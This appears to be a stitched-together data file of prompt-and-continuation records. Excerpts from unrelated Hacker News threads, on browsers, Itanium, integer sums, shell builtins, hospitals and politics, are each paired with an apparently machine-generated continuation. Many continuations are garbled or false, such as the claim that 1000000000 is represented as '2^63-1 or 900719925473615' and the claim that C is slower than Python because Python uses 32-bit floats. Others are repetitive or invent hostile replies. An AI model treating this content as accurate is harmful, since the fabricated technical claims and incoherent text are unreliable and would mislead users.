U.S.\nAuto Industry Series: Consumer Sentiment During Challenging Times.\"\n\n[http://www1.eere.energy.gov/vehiclesandfuels/facts/2010_fotw...](http://www1.eere.energy.gov/vehiclesandfuels/facts/2010_fotw622.html)\n\nI don't see any reason computers will be different. \"Hackers\" will remain a\nniche community, but I still think the many other reasons cited by the author\nwill result in better tools for us to play with. For example, development of\nreasonably priced and performant FPGAs would be huge. Look at the Arduino line\nof products.\n\nThe future is still a bright one. I just don't see \"heirloom laptops\" in our\nfuture.\n\n~~~\n0x12\n> For example, a global economic depression would result in people keeping\n> their possessions longer simply because they don't have the money to buy\n> new.\n\nThat would seriously suck then because the stuff that we've got today for the\nmost part was built with a very definite life-cycle in mind. So when you are\ndumped in that global recession you need the quality stuff that wasn't\n"} +{"output_text": " to killing, and the need to protect\njournalists from being held as \"hostages\" \\- but I don't see anything that\nwould allow them to kill someone who was not a member of al-Qaida.\n\n~~~\nsmsm42\nIt's not about being a member of al-Qaida, it's about being a member of a\nspecific subset of al-Qaida - the one that's currently engaged in hostilities\nagainst the US", "input_text": " for senior al-Qaida members, it\nwould hold for senior al-Shabaab members, senior Zetas in Mexico, senior\nCapone members, senior Bloods and Crips, senior LulzSec and Anon, etc.\n\nThen you apply the logic which hinges on it being a foreign country and\nparallel that to a condition in our own country and it gets ugly. After\nreading this whole memo, I actually see very little about geography or why\nthis wouldn't be legal in the US. The bottom of page 4 and top of 5 seem to\nactually justify executions within our borders.\n\n~~~\nghshephard\nThe difference is spelled out very clearly in the document. The United States\nis in a state of congressionally approved armed conflict with Al Quaida. Where\nthey not in a state of armed conflict, then there would be no legal basis.\n\nThe consequences of going to war, is that the executive (President, acting as\nCommand in Chief of the armed forces) is authorized to kill the enemy without\njudicial review.\n\n------\nghshephard\nSometimes you have to kill people. One hopes that, as a nation of laws, the\nUnited States does so within reasonable constraints and at the appropriate\ntime, and for the appropriate reasons.\n\nSee: [http://www.nytimes.com/2013/02/05/us/boy-is-safe-after-\nalaba...](http://www.nytimes.com/2013/02/05/us/boy-is-safe-after-alabama-\nhostage-standoff.html?hp) for a tragic example today.\n\nI've skimmed through the entire document - it spends a lot of time talking\nabout things that must be tried prior"} +{"output_text": " taken, but not the GPA.

I am very interested in web development, specifically front end, and I have a few projects I have worked on in class that I would be willing to show off. I am not very good at marketing myself though, so I am not sure what to do about that.

Thanks for any advice!\n======\nlsiebert\nI would say that your resume should be about you, not about the job you want.\nI would put", "input_text": "botexpert\nIt's not old. Has most needed background necessary. DL NLP is not necessary\nfor most common tasks.\n\n------\nzump\nI also need help; can someone point me to the latest results with NLP?\n\nI want to build an AI powered note-taker.\n\n------\njm547ster\n[https://www.amazon.co.uk/Introducing-Neuro-Linguistic-\nProgra...](https://www.amazon.co.uk/Introducing-Neuro-Linguistic-Programming-\nJoseph-OConnor/dp/1855383446)\n\n \nAsk HN: Should I include my GPA and/or transcripts when applying for jobs? - CoryG89\nI am set to graduate with my BS in Software Engineering from Auburn University in December. I am currently trying to get my resume in order and start sending out tons of applications for jobs in the next month or so. I have been programming and doing web development in some form since I got my first computer when I was seven or eight years old, I am having trouble trying to decide what all should go on my formal resume. Many people online state to only have one page, or one main page with everything important on it.

Many people at school are recommending to include complete transcripts with grades (mine are pretty good, I have an overall GPA of 3.4. I generally have A marks in hard major classes such as Algorithms, Networks, Assembly, and Operating Systems.

Do you guys think its a good idea to include full transcripts with applications if I have no paid professional experience to speak of? If I do include transcripts should I have my GPA listed on my resume? Many sample resumes I see do not include a GPA. Others include a full list of relevant courses"} +{"output_text": "\n\n~~~\nNomentatus\nI agree with your thesis, and I agree with your conclusion. I'm just saying\nthat the \"slogan\" is a raisin, and that the \"development team\" is paralyzed by\nit. I'm not sure what you think I'm disagreeing with.\n\n------\nbeat\nI think this is a really good article. I think it's a good reminder that\n\"agile\" is a marketing term, and that", "input_text": "t wait two weeks_ for a new\nfeature, and had to have it _right now_. I have seen businesses die because a\ndevelopment team was so paralyzed by constant interruptions that they were\ndysfunctional and couldn't get any real work done.\n\n~~~\nNomentatus\nIf it's a better data structure, then two weeks might set the course, alas.\nIt's happened to me. Fact is, one can't get away from judgement calls, slogans\nmight nudge in one direction or another, but it all remains a judgement call\nwhat's just a raisin and what isn't. The fatal problem is bosses up the chain\nwho want to demonstrate they matter and are worth their expense by throwing in\nsuperfluous raisins; having a crude slogan (misleading or not) to deter them\nis fine by me.\n\n~~~\nbeat\nA \"better data structure\" is almost never an emergency. And being unable to\nadapt or extend a data structure in the future is not agile, and it's not the\nsimplest thing that can possibly work.\n\nBack when I first started building a startup, I thought \"Thank Dog I no longer\nhave to deal with stupid compromised software, and can start writing\neverything right!\" By the time I was getting anywhere, I was well into toss-\nover-wall methodology. I did things that I knew full well were compromised and\nwould hurt me later, because the work needed done, and needed to \"be done\". It\nwas a real education.\n\nI actually have a lightning talk in mind on this subject, called \"Why software\nsucks\", that argues that suckage is the nature of software development, and\nthat \"barely works\" is the best we can realistically ask for - or even should\nask for."} +{"output_text": " time with each patient, asking questions, learning about us, and\ngenerally making us feel like we were the only patients they had. They were\nvery respectful of our boundaries and our time. We left feeling like we had\nbeen treated like family.\n\n------\njap\nI've been in hospital twice in last 3 years. Both times it was very\nuncomfortable. The first time I was in ICU and the nurse was very rude to me.\nShe asked me many", "input_text": "0]\n[http://www.audiocura.com/portfolio/sou/](http://www.audiocura.com/portfolio/sou/)\n\n------\nprojectramo\nMy experience (caring for someone in a private room):\n\nNurse head: \"Any complaints?\"\n\nMe: \"We kept getting disturbed.\"\n\nNurse head: \"yeah, we hear that a lot.\"\n\nRepeated 3x over the course of 3 days!!!\n\n------\nsifoobar\nI once spent two weeks in hospital with a smashed vertebra waiting for\noperation. I'm sure many of the individuals involved are trying their best,\nbut it definitely feels more like a place for dying than a place for healing.\n\n------\nlojack\nDuring my daughters first year of life we had multiple hospital stays at\nmultiple hospitals for surgeries. What we found was that your experience can\nvary a lot depending on the hospital.\n\nOur worst experience was at a hospital that was #1 in the nation for its\nspecialty. The staffing leaned heavily on STNAs, and they had a lot of\npatients to look after. Their nurses were similarly rushed. Once in the step\ndown unit we were placed in a pod with three other families. Of course not all\nof them were respectful of recovery, with one of them staying up late into the\nnight having boisterous conversations. We ended up advocating for leaving the\nhospital sooner than they were originally planning. We also found ways to get\nthem to line up vitals and medicine a little better. All of this took\nsignificant advocating and considerable effort.\n\nOur best experience was a complete flip. This was at a top 5 hospital in the\nnation for pediatric care. Nursing staff seemed top of their class. They took\ntheir"} +{"output_text": " like the Fermi Paradox. For another thing, the technology exists to\ncreate a fully enclosed biosphere. It's just that we don't have the will to do\nit.\n\n~~~\ngaius\n_Where do you get that from? For one thing, the most publicized efforts were\ntried by questionable people. I think a legitimate effort would account for\nthings like the Fermi Paradox. For another thing, the technology exists to\ncreate a fully enclosed bi", "input_text": " the\nsolar system like that, fusion power may very well seem like an interesting\nantique.\n\n~~~\nstcredzero\nTech gets obsolete a lot faster than physics. The energy of fusion is physics,\nnot tech.\n\n------\nTweedHeads\nColonise Mars?\n\nComing from a man who's been in space, that is a stupid claim to do without\nfirst colonizing the moon and learning in the process.\n\nWalk, run, fly.\n\n~~~\ngaius\nNonsense! Go and read some Robert Zubrin.\n\n~~~\ntom_rath\n...then question some of the'miracle technologies' used in Zubrin's\ninfrastructure.\n\nYes, if we had Single Stage to Orbit fully reusable rockets and if all issues\ninvolved in living on another world were understood, Zubrin's plan(s) would be\na shoo-in. However, we can't even construct a reliable artificial biosphere\nfully enclosed here on Earth!\n\nLearn to walk before you try to run. Let's work on sustained outposts on a\nworld no more than three days' travel away first.\n\n~~~\nstcredzero\n_Yes, if we had Single Stage to Orbit fully reusable rockets_\n\nCertainly not essential to Zubrin's plan. There are modifications to Zubrin's\nplan that can be implemented with existing boosters, with on-orbit assembly\nlimited to linking together 4 components. Seems doable to me.\n\n _However, we can't even construct a reliable artificial biosphere fully\nenclosed here on Earth!_\n\nWhere do you get that from? For one thing, the most publicized efforts were\ntried by questionable people. I think a legitimate effort would account for\nthings"} +{"output_text": "\njongalloway2\nI'm a big fan of Firefox, but I'm also a big fan of the open web and the\nprinciples of web freedom that underlie it.\n\nI'm not sure how much of the perceived bloat is due to the fact that Mozilla\nhas to pay to host the web browser, and how much is due to the fact that they\nhave to pay to host the Firefox OS, which is a lot of software.\n\nI'm", "input_text": " up and started using Chrome,\nwhich BTW, runs like a banshee even with ABP installed.\n\n~~~\nsjwright\nTo add another data point, I'm using Firefox on the Mac with a half dozen\nplug-ins and I have never experienced pauses remotely like what you describe.\n\nFurthermore, Firefox has been consistently smoother than my near-virgin\ninstall of Chrome. It's weird -- while Chrome definitely finishes loading\npages a bit faster, it performs incomplete page repaints in the process,\ncausing unpleasant whole-of-screen flashes as I jump from page to page. With\nFirefox, moving from page to page is butter smooth.\n\n------\nguylhem\nUnless you want bloatware that sucks RAM and battery, what else are you\nsupposed to use?\n\nI went from Firefox to Safari to Chrome and back to Firefox. Firefox was\nbloatware before. Now it's acceptable when compared to Chrome and Safari.\n\nEither Firefox was improved, or wasn't improved while hardware was, and while\nSafari and Chrome added useless feature after useless feature.\n\nIn any case, I do not see any alternative to Firefox for 'power users'. I'm\nvery happy to use it. The report that Firefox marketshare is shrinking is\nweird. I've seen more and more people using it recently.\n\nMaybe I'm just odd but I love firefox on MacOS, Linux and android because it\njust works at a decent speed.\n\n~~~\nsjwright\nI had moved to Chrome, then switched back because I just couldn't stand it any\nmore. Sure, at its best, Chrome is a bit faster than Firefox. At their worst,\nChrome bogs down more heavily and more often than Firefox ever has for me.\n\n------"} +{"output_text": " of SBCL takes over a minute?\n\n~~~\nfogus\nYou are running on a 64 bit machine with a 64 bit integer. 1000000000 is\nrepresented as 2^63-1 or 900719925473615.\n\n~~~\ngshubert17\nI am running on a 64 bit machine with a 64 bit integer.\n\n------\njleader\nThis is a great example of why you should always use the language's\ndocumentation to figure out how", "input_text": "C#: Enumerable.Range(1, 1000000000).Select(Convert.ToInt64).Sum()\n\n------\nchristopheraden\nI asked a similar question for R about a year ago, and saw an interesting way\nto do it, taking advantage of the math.\n[http://stackoverflow.com/questions/11623865/faster-modulo-\nor...](http://stackoverflow.com/questions/11623865/faster-modulo-or-equality-\nchecking-in-r-or-good-ways-to-vectorize)\n\n~~~\nminimaxir\nFun fact: in R, _sum(1:1E07)_ will throw a warning; you have to use\n_sum(as.numeric(1:1E07))_ instead, which will indeed give the correct answer.\n\n------\nChuckMcM\nSo nobody does it?\n\n \n \n $sum = int($max/2) * ($max+1));\n $sum += int(($max+1)/2) if ($max & 1);\n \n\nThis is perl of course but it is exploiting the fact that the sum of integers\nis a sum of constants ($max + 1) with an additional term (the'middle'\ninteger) if the top number is odd.\n\n------\ngshubert17\nSBCL: Commenter postfuturist said that this code:\n\n(time (let ((sum 0)) (loop :for x :from 1 :to 1000000000 :do (incf sum x))\nsum))\n\ntook about 3 seconds from his REPL with SBCL, with about 8.5 billion CPU\ncycles and 0 bytes consed.\n\nDoes anyone know why the same code on my version"} +{"output_text": " not the \"leaders\".\n\n------\nthrowawaysea\nThis is a really good article, but I think the author is making a mistake by\nassuming that the US government was not aware of the Wuhan coronavirus\noutbreak.\n\nThe US government has a history of knowing about outbreaks before they are\npublicly announced. For example, the US government was aware of the 2009 H1N1\noutbreak before it was announced to the public.\n\nThe US government", "input_text": " pandemic until proven otherwise?\n\n------\nthdrdt\nHe is not the only one.\n\nI believe it was an Ask Me Anything with Bill Gates on Reddit.\n\nSomeone asked Gates about a third world war and he replied he was more sure\nand worried about a pandemic.\n\nI have no doubt others in the field had the same thoughts.\n\nThe most troubling thing is that a lot of leaders dismissed this information.\n\n~~~\ncorpMaverick\nHe warned us. We didn't listen.\n\n[https://www.youtube.com/watch?v=6Af6b_wyiwI](https://www.youtube.com/watch?v=6Af6b_wyiwI)\n\n~~~\nrandomsearch\nI think about a gazillion people identified exactly this type of situation as\na problem, and we\u2019ve had plenty of other outbreaks. It is completely\nunsurprising. The UK has done a lot of modelling and prepping for such an\nevent, as I\u2019m sure have other governments, but that doesn\u2019t give you magic\npowers when it happens.\n\n~~~\nmakomk\nIt's also worth bearing in mind that there's precisely one country which could\npossibly have done what he suggested and stopped this by preventing the\nspillover in the first place - China - and, well, good luck with that.\n\n~~~\nrandomsearch\nI think the problem is that the virus is so mild. You can't spot a lot of\ncases, so e.g. someone gets on a plane and is not showing symptoms and a few\ndays later in Italy they get sick or infect others without realising they're\nill.\n\n------\nonetimemanytime\nIt's fair to say that a LOT of people saw it coming. Just"} +{"output_text": " and never watch\nuntil the DVDs or BluRay come out.)\n\n~~~\njameskilton\nI don't think Netflix is doing this to save bandwidth. I think it's more\nabout prioritizing their releases.\n\nThey have a lot of content, and it's not all going to be ready at once. So\nthey're going to release the stuff they think people are going to want to see\nfirst, and leave the extras for later.\n\nThis is", "input_text": " argument. I agree that in an unconstrained\nformat mass appeal is much less important. Yet I don't feel some sort of 'good\nmusic' saturation point has been reached within the single subgenres (and\nsubsubgenres) and I think that it will take a while for that to happen.\n\n------\nzalew\nHN title sums up Business Insider summing up a video sum up of the speech.\n\n~~~\n3rd3\nAs long complexity is only hidden but not lost, that\u2019s OK.\n\nHere is the full speech:\n[http://www.youtube.com/watch?v=oheDqofa5NM](http://www.youtube.com/watch?v=oheDqofa5NM)\n\n~~~\nTyrant505\nThank you, from the lazy.\n\n------\nlukifer\nI still think Netflix is sapping some of the fun and vitality out of their\noriginal series by putting all the episodes up at once. Is binge-watching\ngreat? Of course it is! A huge library of great shows to binge-watch is one of\nthe Netflix's biggest selling points.\n\nBut getting it all at once is like peeking at your Christmas presents early:\nyou think you want it, but it spoils some of the fun, the eventy-ness of it,\nand the social context created by a shared timeline (the so-called \"water-\ncooler effect\").\n\nAnyone who doesn't want that experience can still wait until the whole thing\nis out, probably just a few months, at which point it will still be available\nin the binge library, presumably forever. (I know some who prefer not to start\na new series _at all_ until the entire thing is finished,"} +{"output_text": "\npkrumins\nI took the Operating Systems course in Spring 2005. I remember the notes\nsounded interesting, but I was busy with other things at the time. I will\ncheck out the \"Musings\" series.\n\n------\ntjogin\nI think the biggest problem with the \"Web Programming\" industry is that it\nhas been taken over by people who are not programmers.\n\nProgrammers are not like other people. They are not like lawyers. They", "input_text": " btw-- I really dig your content. And that's why I'd\nhate to see you putting your energy into low-value, high-effort activities\nlike the aforementioned, instead of concentrating on the core: producing good\ncontent.\n\n~~~\npkrumins\nThanks for the feedback.\n\nAbout the 301 redirects - it doesn't take much effort. People don't make\nmistakes too often, but when they do I wouldn't like to lose visitors that\ncame from their link. I have currently fixed a few links that I have noticed\nvia URL rewriting, but it's web server specific, and I want to brink it to\napplication level to have all the site configuration centralized from admin\nmenu. Managing this tiny feature won't take much of my time and I will still\nbe able to produce quality articles.\n\nAbout the job board. Oh, didn't think of that. You are right. I will set this\nidea a lower priority and just keep producing good content until I hit\ncritical mass. :)\n\n~~~\nmichael_dorfman\nPersonally speaking, my biggest complaint about your site is that the Lecture\nNotes you publish are for courses I have already taken online-- I only wish\nyou had gotten there first. Damned space-time continuum!\n\n~~~\npkrumins\nOh no... /o\\ When did you take take these courses?\n\n~~~\nmichael_dorfman\nI did them both about 2 years ago. I didn't take any organized notes, I'm\nafraid-- I'd have been happy to pass them along if I had.\n\nIf you're going to continue following in my footsteps, I suppose the UC\nBerkeley Operating Systems course and Knuth's \"Musings\" series will be next\nup.\n\n~~~"} +{"output_text": ", with classes and everything, while on the front-end we are used to\nsmall e.m.f. ones, with javascript classes and everything.\n\n~~~\njdc\nI think that's a fair assessment. I'm not sure what the equivalent to a class\nis in JS.\n\n~~~\ngbog\nIt's not a class, it's an object. You can think of it as a hash with some\nspecial properties.\n\n~~~\njdc", "input_text": "\ncan fix your layout. Browsers aren't that scary.\n\nWe're only learning here, so skip IE for now. That one is actually kinda\nscary. Though if you really want to learn front-end, it's all about browser\ndifferences.\n\nAnd then Javascript. Now it will be easy. Stick with jQuery and connect with\nyour Node instance with socket.io. Learn Backbone if you want to make snappy\nweb apps. There's a lot to learn in this 'grey field' between back-end and\nfront-end. But at least you now know front-end.\n\n~~~\niso8859-1\nMight as well make sure you're grammar validates too.\n\nAnyway, I don't understand why the front-end is relevant at all. It's not the\nsame problem, and the fact that most people do both doesn't mean that learning\nto do a good front-end will teach you to do a good back-end.\n\n------\ndanbmil99\nAs a longtime Python guy, mostly back-end (but I knew JS pretty well) -- I did\na quick demo site recently in node, and was surprised by how it felt. There\nwas much less context-switching as I went back and forth between the client\nand server. That sounds obvious but it was kind of a shock.\n\nI always wanted Python on the client (here's looking at you, Jython!) -- js on\nthe server may be the closest thing I'm going to get.\n\n~~~\njdc\nHave you tried Pyjamas?\n\n------\ngbog\nAs noted somewhere else learning node is not learning front-end. Something\nthat bothered me recently is that on the back-end we are used to big oop\nframeworks"} +{"output_text": " peace and tolerance.\n\n[1]\n[https://www.youtube.com/watch?v=9ZrBd_7_8gA](https://www.youtube.com/watch?v=9ZrBd_7_8gA)\n\n~~~\nmattbooy\n> Britain wasn\u2019t ready to grant full dominion status, then series of incidents\n> moved him to ask for full freedom.\n\nI'm not", "input_text": " your experience with them. I can't edit the original\npost any longer (Didn't know that you could only edit for X amount of time)\nbut I will try to recompile it all periodically and republish it or put it on\na website where I can edit it in-place.\n\nYou mention the fill rate was around 1% - this meant that 1% of the time there\nwere ads to display? Isn't that quite low? What should we expect and aim for?\n\n \nMahatma Gandhi is set to become the first non-white person on British currency - seesawtron\nhttps://www.dailymail.co.uk/news/article-8586361/Mahatma-Gandhi-set-non-white-person-British-currency.html\n======\ndragonsh\nGandhi is a first example of proving that non-violence is one of the most\neffective tool for transformation as a society. He wanted equal treatment for\nIndian people at par with any British citizen. But Britain wasn\u2019t ready to\ngrant full dominion status, then series of incidents moved him to ask for full\nfreedom. In his early years in Africa when he was going through\ntransformation, there were some incidents which reflected some prejudice\nagainst native Africans, but subsequently he became a changed man, his\ngreatness lies in constantly reinventing himself as he learns more about life.\n\nGandhi will be crying in his grave of what India has been turned into, in just\n6 years. An intolerant, divided society with complete disdain for rule of law.\nThe concept of reason has gone away completely [1]. Hope the lessons of\nCOVID-19 can turn the tide, hopefully into a plural India which celebrates\nunity in diversity and again put emphasis on reason,"} +{"output_text": " the Itanium. But AMD was able to create a successor that would\nsurvive.\n\n~~~\npjmlp\nIntel did not kill Itanium, but the lack of competition allowed it to become\nthe expensive and proprietary alternative to GCC and LLVM.\n\nSee\n[https://www.phoronix.com/scan.php?page=news_item&px=5.0-Itan...](https://www.phoronix", "input_text": " What will OpenVMS\ndo without Itanium?\n\n~~~\nghaff\nAs the parent indicates they're porting it to x86-64. I've been away from\nfollowing HP proprietary systems for almost 10 years but they put a plan in\nplace quite a while ago when it became obvious that Itanium had no future.\nRemember that systems in this space don't need to be the latest and greatest.\nThey need a long support roadmap but it's mostly fine if hardware is on the\nolder side.\n\n------\npinewurst\nBack in 2012, Oracle published some interesting (and IMHO amusing) internal HP\ndocuments re Intel and ongoing Itanium development.\n\n[http://www.oracle.com/us/corporate/features/itanium-346707.h...](http://www.oracle.com/us/corporate/features/itanium-346707.html)\n\n------\nttul\nI got to work with one of the first Itanium machines back in 2000 working as\nan intern. My job was to port Perl to IA-64. It was an amazingly fast machine\n- like living a few years into the future.\n\nI can see why it failed to gain mass traction, but that\u2019s a shame. IA-64 was\nso innovative.\n\n~~~\nmacintux\nHP paid my employer (Progeny) to help port Debian packages to an early Itanium\nsystem. I don\u2019t remember thinking it was fast _at all_, but maybe my memory\nis colored by later miseries.\n\n------\narnon\nIt's interesting that it was actually AMD that kept the Intel x86-64\narchitecture alive.\n\nIntel knew that the x86 architecture was limited in time, and tried to kill it\noff with"} +{"output_text": ". I'd be\ninterested to hear from others who have used their hosted BigCouch.\n\n~~~\njoe_the_user\nI've had similar experiences, but I'm not sure I understand the value of\nCloudant's hosted BigCouch.\n\nIt's not clear to me that the hosted BigCouch is any better than a local\ninstallation of CouchDB. Both are able to serve the same use cases, and both\nare able to use", "input_text": "are slow etc.\n\nC++ is very fast and very sharp. Not easy to get everything right. (Some sort\nGreenspun's rule would apply here I think. Substitute Erlang for Common Lisp).\n\n~~~\nmarkpapadakis\nI understand it is about tradeoffs, and that the benefits and limitations of\nevery language(in terms of syntax and semantics, and its associated runtime/VM\n-- if any) definitely define to a large extent the final product's\ncharacteristics.\n\nI am only saying that Mongo is not unreliable because C++ was selected; it's\nunreliable because of architectural choices and lack of care which may or may\nnot have been intentional.\n\n~~~\ntormeh\nCrudely put, my point was that the people who freely choose C, C++ and\nJavascript (and PHP etc.) are the kind of people who don't care much for\nquality. I understand if there are availability or historic (or even sometimes\nperformance) reasons why someone chose a bad language, but if not I'm a bit\nprejudiced towards them. Erlang, in contrast to the aforementioned languages,\nis a language for people who plan to do things _properly_.\n\n------\nniftich\nSummary:\n\nCouchDB 2.0 is a unification of the CouchDB 1.x line (a single-node DB) with\nBigCouch (which was a fork by Cloudant that added proper out-of-the-box\nclustering).\n\n------\nreubano\nYou have no idea how long I've been waiting for this. I seriously thought\ncouchdb was dead. Looking forward to more frequent releases in the future.\n\n------\ndoublerebel\nI've had great experiences with Cloudant's service and features"} +{"output_text": " of excitement, etc. that is so hard to resist.\n\nThe problem is that the target reflex is not tied to the food. So you can have\nthe target reflex without eating.\n\n------\nmatt_wulfeck\nI've been trying to make a change for the past few years. I've tried a lot of\nthings. I've tried meditation. I've tried mindfulness. I've tried going to\nthe gym. I've tried going to bars.", "input_text": "have external stimulation big enough to not have time to think about these\nmatters. I don't want to be silly, but if you'd be hungry, jobless or having a\nlot of stake at risk, your brain would imidiately switch to \"get shit done\".\nSo much for external motivation. Internal motivation, thats another story,\nwhich everyone need to figure out themselves. Still struggling myself.\n\n------\ntouchofevil\nYou sound a lot like me. I have had tons of trouble making myself work, even\non my passion projects that I have invested significant amounts of my own\nmoney in. I would recommend that you read Turning Pro by Steven Pressfield. He\nwas a chronic procrastinator who turned things around. I would combine this\nwith renting a desk at a coworking space and keeping regular work hours,\nthough they might only be four or six hours per day (8 is too much if you are\nactually working).\n\n------\nwdalrymple\nI picked up bullet journalling last year and it has dramatically improved my\nprocrastination and disorganization which has had the biggest impact on my\nmotivation.\n\nSetting aside each night to review the day and plan the next really helps. I\nlove checking shit off. Just make sure your list is achievable and the tasks\nare small enough. Large tasks that take multiple days can be overwhelming and\nlose meaning.\n\nIt also helps that my bujo is a physical book. That tactile experience makes a\nbig difference.\n\n------\npps43\nIvan Pavlov, famous for his dog experiments, wrote about something he called\n\"target reflex\" (approximate translation, I could not find his 1916 book by\nthat name in English). That's the desire to capture the flag, reach another\nlevel"} +{"output_text": "com/blog/archives/2013/09/url_shortenin...](https://www.schneier.com/blog/archives/2013/09/url_shorteners_open_to.html)\n\n2\\. [https://medium.com/@rsync/oh-by-is-the-universal-shortener-\nwh...](https://medium.com/@rsync/oh-by-is-the-universal-shortener-why", "input_text": " about it.\n\n~~~\nTheAmazingIdiot\nTrust me. I'm not bashing.\n\nI have a blackberry hooked up to Google Voice and Mail servers. They know my\nname, address, all my phone numbers, all my emails, my contact lists,\nfrequency I receive calls on my Google number, text transcription of\nvoicemails. They also can potentially record every call I receive and make\nwith GV.\n\nConsidering the benefit I get from _just Mail and GV_, the datamining is a\ncost I'm willing to make. I also know if my phone is lost, I dont lose my\ndata. And I can back it up elsewhere.\n\nAnd I am somewhat happily shocked that they came such forthright that they\n\"fired him for snooping\". Most places will only say \"They no longer work for\nthe company\".\n\n------\nCharuru\nSo this genius violated policy, and then bragged about it to his victim / the\nperson who have the most reason to report him?\n\nHe's totally dumb.\n\n------\nrufugee\nWow...it appears Daniel Faraday left the island and took up programming...\n\n \n\u201cOh By\u201d Is the Universal Shortener - rsync\nhttps://0x.co/index.html\n======\nsmt88\nDon't use this or any other URL shortener for any reason. It degrades online\nsecurity[1], creates a bad UX, and breaks the web[2].\n\nIf you insist on using one, use one that is owned and maintained by a massive,\nstable company, like Google[3]. Smaller services, with no culpable business\nbehind them, tend to die off[4][5].\n\n1\\.\n[https://www.schneier."} +{"output_text": " and then see how the results compare.\n\nI'm curious to see how the author calculated the time it took to calculate the\ngauss function in C.\n\n~~~\ngsnedders\nIt's not terribly surprising that C is about 10x slower than Python, given\nthat the C standard specifies a 64-bit double while Python uses a 32-bit\nfloat.\n\n~~~\njypepin\nThat's true, but I was thinking more about the time it would", "input_text": "\n~~~\ngsnedders\nYou still can \u2014 now the dispatch overhead is ever closer to zero, the cost of\nthe operation is even more apparent.\n\n------\njoe24pack\nI think I might be doing it wrong, because I didn't do any looping. I'm a bit\ntoo lazy and impatient for that, who wants to spend their afternoon adding all\nthose numbers up even with a computer.\n\n \n \n [joe24pack@staropramen ~]$ python\n Python 2.6.6 (r266:84292, May 1 2012, 13:52:17) \n [GCC 4.4.6 20110731 (Red Hat 4.4.6-3)] on linux2\n Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n >>> def gauss(x):\n ... return (x+1)*(x/2)\n ... \n >>> gauss(10)\n 55\n >>> gauss(1000000000)\n 500000000500000000\n >>>\n\n~~~\nTibbes\nHmmmm, make that:\n\n \n \n def gauss(x):\n return (x+1)*x/2\n \n\n(consider gauss(11), for example)\n\nYou gotta admit, on an article about the difference between integer and\nfloating-point arithmetic, that's pretty ironic!\n\n~~~\njoe24pack\nIt's odd that the odd numbers slipped my mind. Thank you for your gracious\ncorrection.\n\n------\njypepin\nAccording to the time it took to my macbook air to calculate it in ruby, it\nwould be pretty interesting to have someone generate benchmarks for different\nlanguages"} +{"output_text": "layouts/rwd-\npatterns/)\n\n~~~\nmattmanser\nI'm not confused at all.\n\nThe guy says he's never heard of UX design patterns. He then goes and lists\nsome design patterns from a site that he doesn't even link.\n\nHe's not confused at all. He's just being a douchebag.\n\n~~~\nbigtunacan\nI think you are confused.\n\nA quick google search", "input_text": "ref=pd_lpo_sbs_d...](http://www.amazon.com/gp/product/0881792128/ref=pd_lpo_sbs_dp_ss_3?pf_rd_p=1944687762&pf_rd_s=lpo-\ntop-\nstripe-1&pf_rd_t=201&pf_rd_i=3721200438&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=038MRVMFF37KXY94ER2F).\n\n~~~\nmattmanser\nIt doesn't sound like you know what software design patterns are. This has\nabsolutely nothing at all to do with design patterns, which is about software\ndesign and how to manage complexity and nothing else. UX is not code.\n\n~~~\nbigtunacan\nWhile I agree that the TC intended software design patterns, I don't think a\nWTF is in order for the confused reply.\n\nThe term \"design patterns\" stems from architecture, not computer science, and\nis used by designers as well for the common patterns that may be applied for\ngood UI/UX design.\n\n[http://ui-patterns.com/patterns](http://ui-patterns.com/patterns)\n\nSomebody better let Google know that \"design patterns\" don't apply to UX.\n\n[https://developer.android.com/design/patterns/index.html](https://developer.android.com/design/patterns/index.html)\n\n[https://developers.google.com/web/fundamentals/layouts/rwd-p...](https://developers.google.com/web/fundamentals/"} +{"output_text": " No such file or directory\n $ /bin/time time\n real 0m0.977s\n user 0m0.977s\n sys 0m0.000s\n \n\nSo, it's not just a matter of using a different shell, it's also a matter of\nknowing the language semantics.\n\n------\njheriko\nthe problem with these articles is that they assume that everyone is using\nthe same", "input_text": " and\nshell the author is using.\n\n~~~\nElrac\n> As as side-note, an article like this should at least mention which OS and\n> shell the author is using.\n\nVery much agree! I just tried this on my 2.6.32 RHEL system, and it's never\nheard of \"-l\". It outputs very similar-looking information as in the article,\nthough, when given \"-v\".\n\n------\nhalostatue\nIn both bash and zsh, you can force the shell to use $PATH for lookup\n(bypassing functions and shell builtins) by calling a builtin name with\n'command' ('command time -l ls'). You can equivalently force a builtin with\n'builtin', but that does not work with reserved words (and 'time' is a shell\nreserved word).\n\n~~~\nramshorns\nTIL that a shell reserved word is different from a shell builtin.\n\n[http://unix.stackexchange.com/questions/267761/differences-b...](http://unix.stackexchange.com/questions/267761/differences-\nbetween-keyword-reserved-word-and-builtin)\n\n~~~\nxelxebar\nYeah. Shell semantics can be pretty unintuitive sometimes. I often find it\nhelpful to translate these ideas to standard programming language terms.\n\n* Commands are like functions * Commands in /bin etc. are like library functions * Builtins are like a language's primitive functions * Keywords are keywords\n\n------\nhobarrera\n\n $ which time\n time: shell reserved word\n $ ls /usr/bin/time /bin/time\n ls: cannot access '/usr/bin/time':"} +{"output_text": ".\n\n~~~\nyahyaheee\nI think the lesson is that we shouldn't try to reform authoritarian regimes.\n\n~~~\nmaxxxxx\nI think that's obvious. I was just trying to make a point that Gorbachev was\nlike Trump. He thought he could change things and then the situation got even\nworse.\n\n~~~\nyahyaheee\nI think it's a little different.\n\nGorbachev was a communist", "input_text": " gain.\nShould we let Germany erase the holocaust if they donate sufficiently large\nsums to charity? Should we forget about the human rights issues in North Korea\njust so we can label the current situation peaceful, and pretend they do not\nexist?\n\n------\npow_pp_-1_v\nI haven't read through all the comments here but so far I haven't seen anyone\ngive credit to Kim Jong Un. He's probably a pretty smart dude and has been\nplanning these moves ever since he was a kid. At the end of all this, he will\nagree to \"denuclearize\" by reducing his nuclear stockpile over a very long\ntime period; promise to stop doing nuclear research etc. In return he will get\na ton of foreign aid, much weakened sanctions against his country and\nlegitimacy in the international stage.\n\nBut who knows. I am no expert.\n\n~~~\nmalnourish\nSure, give him some credit. In the same breath that he allowed for and\ncommitted atrocities against his people.\n\n~~~\nimbokodo\nYou mean like the massacre of No Gun Ri and the general policy of shooting\ncivilians in the Korean war? The Gwangju massacre?\n\nOh you don't mean the atrocities of the dictatorships in the south under the\nUS military occupation, you mean the north.\n\n~~~\ncodyb\nJust because others have done something doesn\u2019t excuse the behavior of the\nindividual.\n\nThat being said, just because someone has done something horrible doesn\u2019t mean\nthey can\u2019t do good things.\n\n------\nmaxxxxx\nThis reminds me a little of the Gorbachev situation. He thought he could\nreform the Soviet Union 